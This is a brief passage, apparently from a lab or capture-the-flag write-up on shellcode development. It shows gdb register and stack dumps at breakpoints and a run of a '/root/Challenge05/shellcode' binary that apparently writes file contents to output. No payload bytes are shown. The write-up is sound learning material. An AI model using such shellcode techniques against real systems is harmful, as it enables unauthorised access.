0xbffff4c8:	 "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"

We write the contents out to buffer.

Breakpoint four is the exit:

Breakpoint 5, 0x08049736 in buf ()
5: /x $eax = 0x1
4: /x $ebx = 0x0
---Type <return> to continue, or q <return> to quit---
3: /x $ecx = 0xbffff4bc
2: /x $edx = 0xfffffff2
1: x/4s $esp
0xbffff4bc:	 "\177\204\004\b \205\004\b\004"
0xbffff4c6:	 ""
0xbffff4c7:	 ""
0xbffff4c8:	 "\234\365\377\277\350\364\377\277\025\325跐\005\377\267\253\204\004\b"

Results of program execution:

/root/Challenge05/shellcode 
Shellcode Length:  4read this”

Which is exactly what was expected.

###########################